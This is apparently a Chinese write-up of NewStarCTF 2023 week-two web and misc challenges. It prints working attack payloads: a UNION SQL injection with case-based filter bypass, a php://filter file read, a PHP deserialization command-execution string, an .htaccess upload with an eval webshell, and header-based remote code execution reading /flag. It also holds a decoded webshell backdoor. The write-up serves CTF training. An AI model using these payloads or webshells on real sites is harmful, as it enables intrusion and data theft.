NewStarCTF 2023
第二周
Web
ez_sql
尝试了一波字段数,发现是 5 个,而且好多关键词被过滤了,用大小写绕过即可。
典型的联合注入,最后 payload 为
?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23
数据库为:CTF
游戏高手
查看游戏的 js 文件,发现了游戏结束的逻辑
发现我们只要向 api.php post 一个 json 格式的参数就可以
include 0。0
可以看到是文件包含,而且过滤了 base 和 rot,也就意味着以下两种方式无法使用。
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/read=string.toupper|string.rot13/resource=flag.php
然后了解到 convert 的过滤器还有其他使用方式
博客如下
https://www.cnblogs.com/niyani/p/16954041.html
使用方法:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>
这里的 <input-encoding> 和 <output-encoding> 分别为输入的字符串编码方式和输出的字符串编码方式(字符集)。可选项如下(PHP: 支持的字符编码):UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)SJIS-Mobile#KDDI(别名:SJIS-KDDI)SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)ISO-2022-KR
Windows-1251(别名:CP1251)Windows-1252(别名:CP1252)CP866(别名:IBM866)KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8)
因此这里爆破或者自己尝试都可,会发现以下 payload 可用:
php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php
Unserialize?
一个反序列化的题目,可以看到过滤了一些关键字。先去根目录看看
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd='cd /;ls';
public function __destruct()
{if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);
}
}
}
$unser=new evil;
echo serialize($unser);
?>
//unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:7:"cd /;ls";}
发现了 th1s_1s_fffflllll4444aaaggggg
文件
想办法绕过 cat 拿到 flag,加个 \ 就好
ca\t /th1s_1s_fffflllll4444aaaggggg
unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"ca\t /th1s_1s_fffflllll4444aaaggggg";}
Upload again!
不让上传 php...
没法解析啊,上传个.htaccess
ok 了,蚁剑连接即可。
<script language="php">eval($_POST['shell']);</script>
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
R!!C!!E!!
首先进环境,什么都没发现,提示了 leaked information。用 dirsearch 扫一下
发现有 git 泄露
利用脚本发现了 bo0g1pop.php
访问发现了 rce 的 php 代码审计
审计代码,需要进行 rce 无参数命令执行。刚学看了两篇文章如下
https://blog.csdn.net/kali_Ma/article/details/122544274
https://zhuanlan.zhihu.com/p/157431794
根据代码过滤的各种函数之后,发现 getallheaders()函数可以利用,该函数是返回请求头。因此,我们构造请求头如下
GET /bo0g1pop.php?star=eval(next(getallheaders())); HTTP/1.1
Host: 2829502f-8923-4c08-83aa-2920800ce7e4.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: system('cat /flag');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
利用 user-agent 请求头来实现 rce。(值得注意的是,此处的 end 被过滤了,所以尝试 next)
Misc
新建 Word 文档
下载下来是个 word,word 本质是个压缩包,因此改后缀为 zip 直接解压
然后查看 document.xml 文件,发现了新佛曰编码,直接解密即可
1- 序章
提供的是 sql 盲注攻击的日志,找到每次攻击后的那个 ascii 码,然后拼接起来转成 flag。
import re
# 打开文件
with open('input.txt', 'r') as file:
# 读取文件内容
content = file.read()
# 定义正则表达式模式,用于匹配数字
pattern = r'ascii\(substr\(\(select%20group_concat\(username,password\)%20from%20user\),(\d+),1\)\)=(\d+),sleep\(1\),1'
# 使用正则表达式查找匹配的数字
matches = re.findall(pattern, content)
k=1
s=''
flag=''
# 输出匹配的结果
for match in matches:
number = match[0]
if int(number)>k:
k=int(number)
print(s[1])
flag+=chr(int(s[1]))
print(flag)
else:
k=int(number)
s=match
continue
#you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}
永不消逝的电波
用 Audacity 分析频谱图可以发现是摩斯密码
整理得到密文..-. .-.. .- --. - .... . -... . ... - -.-. - ..-. . .-. .. ... -.-- --- ..-
解密后,改成小写可得到 flag
flag{thebestctferisyou}
WebShell 的利用
题目给出了附件,附件很明显是个 webshell 的大马。
然后进行分析,其实我们就是分析出木马最终是啥就行。
找个 php 在线运行的网站:
<?php
$data='WjxTNVI4UzU/OTcpUDhTNVQ9UyVHKiNgVi5FQFE3SDEyMUhZVC1KJEktRlFKLElLVDcyUVUpJV0jMFE5JwoqNkU8TDxJS0YpSEdWLkNgYApgCg==';
$a = base64_decode($data);
// 先执行 ROT13 操作
$a = str_rot13($a);
// 然后执行 convert_uudecode 操作
$a = convert_uudecode($a);
$a = str_rot13($a);
echo htmlspecialchars($a)
?>
结果发现是和解码之前差不多的 webshell,但仔细发现会不一样,然后我将结果再进行上面的 php 解码,循环几次后,得到的结果为
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
是个网站后门,传参执行命令就行了。
base!
观察给出的附件,一个很大的 base 的 txt 文本。猜测是 base64 隐写,使用脚本跑出结果
import base64
path = input(" 请输入加密文件路径 \n")
file = open('base.txt')
a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
aaa = ''
while True:
text = file.readline() # 只读取一行内容
# 判断是否读取到内容
text = text.replace("\n", "")
if not text:
break
if text.count('=') == 1:
aaa = aaa + \
str('{:02b}'.format((a.find(text[len(text)-2])) % 4))
if text.count('=') == 2:
aaa = aaa + \
str('{:04b}'.format((a.find(text[len(text)-3])) % 16))
file.close()
t = ""
ttt = len(aaa)
ttt = ttt//8*8
for i in range(0,ttt,8):
t = t + chr(int( aaa[i:i+8],2))
print(t)
#iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8
结果进行 base64 解密后就是 flag。
jvav
根据提示得到,应该是 java 盲水印
跑脚本即可